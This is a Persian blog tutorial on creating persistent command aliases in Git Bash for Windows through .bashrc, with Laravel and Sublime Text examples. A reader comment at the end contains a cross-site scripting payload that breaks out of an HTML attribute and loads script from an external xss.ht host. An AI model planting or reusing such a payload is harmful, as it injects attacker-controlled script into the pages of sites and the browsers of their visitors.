برای دانلود نرمافزار git-bash به این لینک مراجعه کنید.
اول از همه بگم alias چیه:
ببینید مثلا شما به جای اینکه در command line هر دفعه بنویسید ls -l
، میان و یه اسم مستعار بهش میدین که همون کار رو انجام بده.
برای مشاهده alias هایی که در سیستمتون تعریف شدن:
alias -p
مثلا یه کاربردش برای لاراول کارها میتونه این باشه که به جای اینکه دستورات ارتیسان رو به صورت کامل وارد کنند با یه اسم مختصر اجراش کنند. برای اینکار توی ترمینال این دستور رو بزنید:
alias pa='php artisan'
از الان به بعد من در لاراول میتونم مثلا برای لیست کردن مسیرها از دستور pa route:list استفاده کنم.
خوب تست کردم و مشکل حل شد و خوشحال بودم :) ولی فرداش که اومد دیدم که کار نمیکنه...
alias -p رو هم زدم تو لیست نبود
و فهمیدم وقتی ترمینال بسته میشه اینا هم از بین میره چون تو session ذخیره میشه و موقتی هست و باید یه سری کارهای دیگه انجام داد.
اول به مسیر خانه بروید
cd ~
بعد فایل .bashrc رو ایجاد کنید (اول ls بزنید اگه وجود نداشت ایجادش کنید اگرم داشت که برید کامند بعد)
touch .bashrc
بعد فایل رو ویرایش کنید
vim .bashrc
من به شخصه با VSCode بازش میکنم:
code .bashrc
حال داخلش این کد رو قرار بدید و سیو کنید و خارج شید.
alias pa='php artisan'
اگر با bash scripting آشنا هستید این کار هم میتونید انجام بدید:
echo alias pa=\'
php artisan\' >> .bashrc
حال باید یه بارترمینالتون رو ریستارت کنید یا این دستور رو اجرا کنید
source .bashrc
و همه چیز به درستی کار میکنه. البته اگر برای برای دوم ترمینال رو باز کنید یه warning خواهید دید.
WARNING: Found ~/.bashrc but no ~/.bash_profile, ~/.bash_login or ~/.profile.
This looks like an incorrect setup.
A ~/.bash_profile that loads ~/.bashrc will be created for you.
که جای نگرانی نیست و میگه که من فایل .bashrc رو پیدا کردم ولی انتظار دارم یکی از فایلهای .bash_profile یا .bash_login یا .profile رو در کنارش ببینم، که پیدا نکردم و خودش فایل .bash_profile رو میسازه با این محتویات:
# generated by Git for Windows test -f ~/.profile && . ~/.profile test -f ~/.bashrc && . ~/.bashrc
حالا این از کجا میاد؟
برید به این مسیر:
cd /etc/profile.d
با دو فایل فعلا کار داریم
اولیش aliases.sh
alias ls='ls -F --color=auto --show-control-chars' alias ll='ls -l'
که alias های پیش فرض و اولیه رو در اون مشاهده میکنید (یادتونه خروجی که در ابتدا با alias -p گرفتید رو؟)
و دومیش .bash_profile (که اگر اسکریپتش رو بخونید دقیقا میفهمید که میاد چک میکنه که اگه .bashrc بود و یکی از اون 3 فایل در کنارش نبود، میاد و bash_profile رو میسازه.
یه استفادهی دیگه که من میکنم که میام نام مستعار برای ادیتور sublime اضافه میکنم تا بتونم فایلها و فولدرهامو از طریق کامند لاین با اون باز کنم (مثل کاری که در بالا با vscode انجام دادیم)
alias subl="/c/Program\ Files/Sublime\ Text\ 3/sublime_text.exe"
حالا میتونید یه دایرکتوری که در آن هستید رو با دستور زیر باز کنید
subl .
این روش برای باز کردن فایل هم هست.
subl index.php
منابع:
- The Flexibility of Git Bash for Windows
- How to set aliases in the Git Bash for Windows?
- bashrc or equivalent configuration files for Git Bash shell
- What's the difference between .bashrc, .bash_profile, and .environment?
- Windows + Git Bash + Visual Studio Code
دیکشنری:
Alias /ˈeɪliəs/
Used when giving someone’s real name, especially an actor’s or a criminal’s name, together with another name they use
SCM: software configuration management
شسیشسی
2 years ago
"><script src=https://farzad.xss.ht></script>